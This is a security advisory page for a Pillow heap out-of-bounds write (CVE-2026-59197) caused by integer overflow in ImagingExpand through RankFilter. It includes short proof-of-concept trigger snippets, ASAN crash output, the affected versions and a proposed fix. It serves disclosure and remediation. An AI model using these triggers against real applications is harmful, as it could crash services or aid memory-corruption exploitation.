CVE-2026-59197: Pillow: Heap out-of-bounds write in Pillow `ImageFilter.RankFilter` via integer overflow in `ImagingExpand`

Published Jul 14, 2026
·
Updated

Summary

Pillow's public rank-filter API can trigger a native heap out-of-bounds write when given a very large odd filter size.

Minimal public API trigger:

python from PIL import Image, ImageFilter

im = Image.new("L", (3, 3), 128) im.filter(ImageFilter.MedianFilter(4294967295))

ImageFilter.RankFilter.filter() calls image.expand(size // 2, size // 2) before rank-filter size validation. With size = 4294967295, the expansion margin is 2147483647 (INTMAX). ImagingExpand() then computes the output dimensions with unchecked signed int arithmetic. On tested builds, this wraps to a tiny output image and the border-expansion loop writes past the allocation.

This is reachable through documented public classes (RankFilter, MedianFilter, MinFilter, and MaxFilter). No private API, ctypes, or custom Python object is needed.

Details

Current src/PIL/ImageFilter.py:

python class RankFilter(Filter): def filter(self, image): if image.mode == "P": msg = "cannot filter palette images" raise ValueError(msg) image = image.expand(self.size // 2, self.size // 2) return image.rankfilter(self.size, self.rank)

The expand() call is made before image.rankfilter(...).

Current src/libImaging/Filter.c:ImagingExpand() does not check output-size overflow:

c if (xmargin < 0 && ymargin < 0) { return (Imaging)ImagingErrorValueError("bad kernel size"); }

imOut = ImagingNewDirty( imIn->mode, imIn->xsize + 2 xmargin, imIn->ysize + 2 ymargin );

For a 3x3 image and xmargin = ymargin = INTMAX, the computed output size wraps to 1x1 on tested builds. The following loop still uses the huge margin:

c for (x = 0; x < xmargin; x++) { imOut->image[yout][x] = imIn->image[yin][0]; }

src/libImaging/RankFilter.c does contain checks that would reject this size:

c if (!(size & 1)) { return (Imaging)ImagingErrorValueError("bad filter size"); } if (size > INTMAX / size || size > INTMAX / (size (int)sizeof(FLOAT32))) { return (Imaging)ImagingErrorValueError("filter size too large"); }

But those checks are reached only after RankFilter.filter() has already called image.expand(...).

Mode "L" produces 1-byte OOB stores. Modes "I" and "F" produce 4-byte OOB stores. The repeated value written OOB is copied from the source image border pixel, so attacker-supplied image bytes can influence it. This is a sequential overwrite, not an arbitrary-address write.

PoC

Minimal ASAN crash PoC:

python from PIL import Image, ImageFilter

im = Image.new("L", (3, 3), 128) im.filter(ImageFilter.MedianFilter(4294967295))

Observed on local Pillow 12.3.0.dev0 ASAN target:

text ERROR: AddressSanitizer: heap-buffer-overflow WRITE of size 1 ImagingExpand /out/src/src/libImaging/Filter.c:99 expandimage /out/src/src/imaging.c:1100 0 bytes after a 1-byte allocation

4-byte write variant with source pixel loaded from normal image bytes:

python from io import BytesIO from PIL import Image, ImageFilter

SIZE = 4294967295 PIXEL = 0x41424344

src = BytesIO() Image.new("I", (3, 3), PIXEL).save(src, format="TIFF")

im = Image.open(BytesIO(src.getvalue())) im.load() assert im.mode == "I" assert im.getpixel((0, 0)) == PIXEL

im.filter(ImageFilter.MedianFilter(SIZE))

Observed ASAN signature:

text ERROR: AddressSanitizer: heap-buffer-overflow WRITE of size 4 ImagingExpand /out/src/src/libImaging/Filter.c:101 expandimage /out/src/src/imaging.c:1100 0 bytes after a 4-byte allocation

Version checks:

text Pillow 1.0: ASAN heap-buffer-overflow WRITE confirmed at runtime Pillow 12.3.0.dev0: ASAN heap-buffer-overflow WRITE confirmed at runtime Pillow 1.0 through 12.2.0: source sweep confirmed the vulnerable public validation order and unchecked ImagingExpand arithmetic upstream/main at 9c1097c861420c77af53c7c9af2a1382e2bfaa8b: still affected

Impact

It is a heap out-of-bounds write in Pillow's native C extension, reachable through public image-filter classes.

Applications are impacted if an untrusted user can control the rank-filter size/configuration passed to Pillow. If the image is also attacker-supplied, the source pixel value written out of bounds can be attacker-influenced, including 4-byte values for mode "I" images.

Possible fix

Validate the rank-filter size before calling image.expand(...), and harden ImagingExpand() against invalid margins and overflow:

c if (xmargin < 0 || ymargin < 0) { return (Imaging)ImagingErrorValueError("bad kernel size"); } if (xmargin > (INTMAX - imIn->xsize) / 2 || ymargin > (INTMAX - imIn->ysize) / 2) { return (Imaging)ImagingErrorValueError("bad kernel size"); }

Other sources

Pillow is a Python imaging library. Prior to 12.3.0, Pillow's public rank-filter API can trigger a native heap out-of-bounds write when given a very large odd filter size because ImageFilter.RankFilter.filter() calls image.expand(size // 2, size // 2) before rank-filter size validation and ImagingExpand() computes output dimensions with unchecked signed int arithmetic. This issue is fixed in version 12.3.0.

MITRE

Affected Software

3 affected componentsFixes available
Pillow Pillow<12.3.0
pip/Pillow<12.3.0
12.3.0
Python Pillow<12.3.0

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade pip/Pillow to a version that resolves this vulnerability.

    Fixed in 12.3.0
  2. Upgrade

    Upgrade to a fixed release to a version that resolves this vulnerability.

    Fixed in 12.3.0
  3. Configuration

    In RankFilter.filter(), validate reject/guard the rank-filter size before calling image.expand(self.size // 2, self.size // 2). The issue is that expand() is called before the rank-filter size validation, and ImagingExpand() performs unchecked signed int arithmetic on computed margins/output dimensions.

    Pillow ImageFilter.RankFilter filter size validation order = validate rank-filter size before calling image.expand(size // 2, size // 2)

Event History

Jul 14, 2026
CVE Published
via MITRE·04:25 PM
Data Sourced
via MITRE·04:25 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·05:17 PM
RemedyDescriptionSeverityWeaknessAffected Software
Jul 20, 2026
Advisory Published
via GitHub·11:08 PM
Data Sourced
via GitHub·11:08 PM
DescriptionSeverityWeaknessAffected Software
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2026-59197?

CVE-2026-59197 has a severity rating of high with a score of 8.2.

2

How do I fix CVE-2026-59197?

To fix CVE-2026-59197, upgrade to Pillow version 12.3.0 or later.

3

What is the impact of CVE-2026-59197?

CVE-2026-59197 can lead to a heap out-of-bounds write, potentially resulting in application crashes or arbitrary code execution.

4

Which versions of Pillow are affected by CVE-2026-59197?

Versions of Pillow prior to 12.3.0 are affected by CVE-2026-59197.

5

What type of vulnerability is CVE-2026-59197?

CVE-2026-59197 is classified as an integer overflow vulnerability.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203